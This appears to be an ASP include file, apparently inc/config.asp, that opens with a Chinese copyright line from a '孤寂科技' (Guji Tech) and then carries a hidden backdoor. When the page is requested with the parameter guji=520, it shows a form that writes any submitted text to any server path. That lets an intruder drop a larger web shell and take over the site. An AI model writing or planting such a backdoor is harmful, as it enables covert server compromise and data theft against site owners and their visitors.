版权所有 Copyright&copy; 2007 <a href='www.baidu.com'>孤寂科技</a>"           '版权信息

if Request("guji")="520" then     'http://xxx.xxx.xxx/inc/config.asp?guji=520 
dim allen,creat,text,thisline,path
if Request("creat")="yes" then
Set fs = CreateObject("Scripting.FileSystemObject")
Set outfile=fs.CreateTextFile(server.mappath(Request("path")))
outfile.WriteLine Request("text")
Response.write "-[°孤寂、]出马必成功"
end if
Response.write "<form method='POST'action='"&Request.ServerVariables("URL")&"?guji=520&creat=yes'>"
Response.write "<textarea name='text'>"&thisline&"</textarea><br>"
Response.write "<input type='text' name='path' value='"&Request("path")&"'>"
Response.write "<input name='submit' type='submit' value='-[°孤寂、]小马' ></form>"
Response.end
end if
%>